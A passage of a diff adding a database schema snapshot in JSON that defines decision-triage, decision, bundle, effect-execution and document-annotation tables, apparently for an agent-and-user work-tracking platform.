+          "value": "(\n        (\"decision_triage\".\"decide_by\" IS NULL AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" IN ('today', 'this_week', 'whenever') AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" = 'date' AND \"decision_triage\".\"decide_by_date\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage_events": {
+      "name": "decision_triage_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_run_id": {
+          "name": "actor_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_api_key_id": {
+          "name": "agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_events_company_source_created_idx": {
+          "name": "decision_triage_events_company_source_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_events_queue_created_idx": {
+          "name": "decision_triage_events_queue_created_idx",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_events_company_id_companies_id_fk": {
+          "name": "decision_triage_events_company_id_companies_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_queue_id_decision_queues_id_fk": {
+          "name": "decision_triage_events_queue_id_decision_queues_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_agent_id_agents_id_fk": {
+          "name": "decision_triage_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_events_actor_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "actor_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_events_actor_check": {
+          "name": "decision_triage_events_actor_check",
+          "value": "(\n        (\"decision_triage_events\".\"actor_type\" = 'agent' AND \"decision_triage_events\".\"actor_agent_id\" IS NOT NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'user' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NOT NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'system' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_training_examples": {
+      "name": "decision_training_examples",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "cutoff_at": {
+          "name": "cutoff_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "notes": {
+          "name": "notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "notes_history": {
+          "name": "notes_history",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "decision_outcome": {
+          "name": "decision_outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_policy": {
+          "name": "retention_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'scrub_deleted_comments_v1'"
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_training_examples_company_created_at_idx": {
+          "name": "decision_training_examples_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_issue_idx": {
+          "name": "decision_training_examples_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_source_author_uq": {
+          "name": "decision_training_examples_source_author_uq",
+          "columns": [
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_training_examples_company_id_companies_id_fk": {
+          "name": "decision_training_examples_company_id_companies_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_training_examples_issue_id_issues_id_fk": {
+          "name": "decision_training_examples_issue_id_issues_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_bundles": {
+      "name": "decision_bundles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_bundles_company_created_at_idx": {
+          "name": "decision_bundles_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_bundles_company_id_companies_id_fk": {
+          "name": "decision_bundles_company_id_companies_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_agent_id_agents_id_fk": {
+          "name": "decision_bundles_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_issue_id_issues_id_fk": {
+          "name": "decision_bundles_origin_issue_id_issues_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_bundles_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_effect_executions": {
+      "name": "decision_effect_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_index": {
+          "name": "effect_index",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_type": {
+          "name": "effect_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'claimed'"
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "activity_log_id": {
+          "name": "activity_log_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "executed_at": {
+          "name": "executed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "decision_effect_executions_decision_effect_uq": {
+          "name": "decision_effect_executions_decision_effect_uq",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "effect_index",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_effect_executions_target_issue_idx": {
+          "name": "decision_effect_executions_target_issue_idx",
+          "columns": [
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_effect_executions_decision_id_decisions_id_fk": {
+          "name": "decision_effect_executions_decision_id_decisions_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_target_issue_id_issues_id_fk": {
+          "name": "decision_effect_executions_target_issue_id_issues_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_activity_log_id_activity_log_id_fk": {
+          "name": "decision_effect_executions_activity_log_id_activity_log_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "activity_log",
+          "columnsFrom": [
+            "activity_log_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_target_issues": {
+      "name": "decision_target_issues",
+      "schema": "",
+      "columns": {
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {
+        "decision_target_issues_decision_idx": {
+          "name": "decision_target_issues_decision_idx",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_target_issues_issue_idx": {
+          "name": "decision_target_issues_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_target_issues_decision_id_decisions_id_fk": {
+          "name": "decision_target_issues_decision_id_decisions_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_issue_id_issues_id_fk": {
+          "name": "decision_target_issues_issue_id_issues_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_company_id_companies_id_fk": {
+          "name": "decision_target_issues_company_id_companies_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "decision_target_issues_decision_id_issue_id_pk": {
+          "name": "decision_target_issues_decision_id_issue_id_pk",
+          "columns": [
+            "decision_id",
+            "issue_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decisions": {
+      "name": "decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_id": {
+          "name": "bundle_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rule_key": {
+          "name": "rule_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "options": {
+          "name": "options",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "inputs": {
+          "name": "inputs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "execution_status": {
+          "name": "execution_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chosen_option_id": {
+          "name": "chosen_option_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_values": {
+          "name": "input_values",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signed_spec": {
+          "name": "signed_spec",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_snapshots": {
+          "name": "target_snapshots",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decisions_company_status_expires_at_idx": {
+          "name": "decisions_company_status_expires_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_bundle_idx": {
+          "name": "decisions_bundle_idx",
+          "columns": [
+            {
+              "expression": "bundle_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_origin_issue_idx": {
+          "name": "decisions_origin_issue_idx",
+          "columns": [
+            {
+              "expression": "origin_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_company_idempotency_uq": {
+          "name": "decisions_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"decisions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decisions_company_id_companies_id_fk": {
+          "name": "decisions_company_id_companies_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_bundle_id_decision_bundles_id_fk": {
+          "name": "decisions_bundle_id_decision_bundles_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "decision_bundles",
+          "columnsFrom": [
+            "bundle_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_agent_id_agents_id_fk": {
+          "name": "decisions_origin_agent_id_agents_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_issue_id_issues_id_fk": {
+          "name": "decisions_origin_issue_id_issues_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decisions_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_anchor_snapshots": {
+      "name": "document_annotation_anchor_snapshots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_revision_id": {
+          "name": "from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_revision_number": {
+          "name": "from_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_id": {
+          "name": "to_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_number": {
+          "name": "to_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "previous_anchor": {
+          "name": "previous_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "next_anchor": {
+          "name": "next_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_anchor_snapshots_company_thread_created_at_idx": {
+          "name": "document_annotation_anchor_snapshots_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_anchor_snapshots_company_document_revision_idx": {
+          "name": "document_annotation_anchor_snapshots_company_document_revision_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_anchor_snapshots_company_id_companies_id_fk": {
+          "name": "document_annotation_anchor_snapshots_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_document_id_documents_id_fk": {
+          "name": "document_annotation_anchor_snapshots_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk",
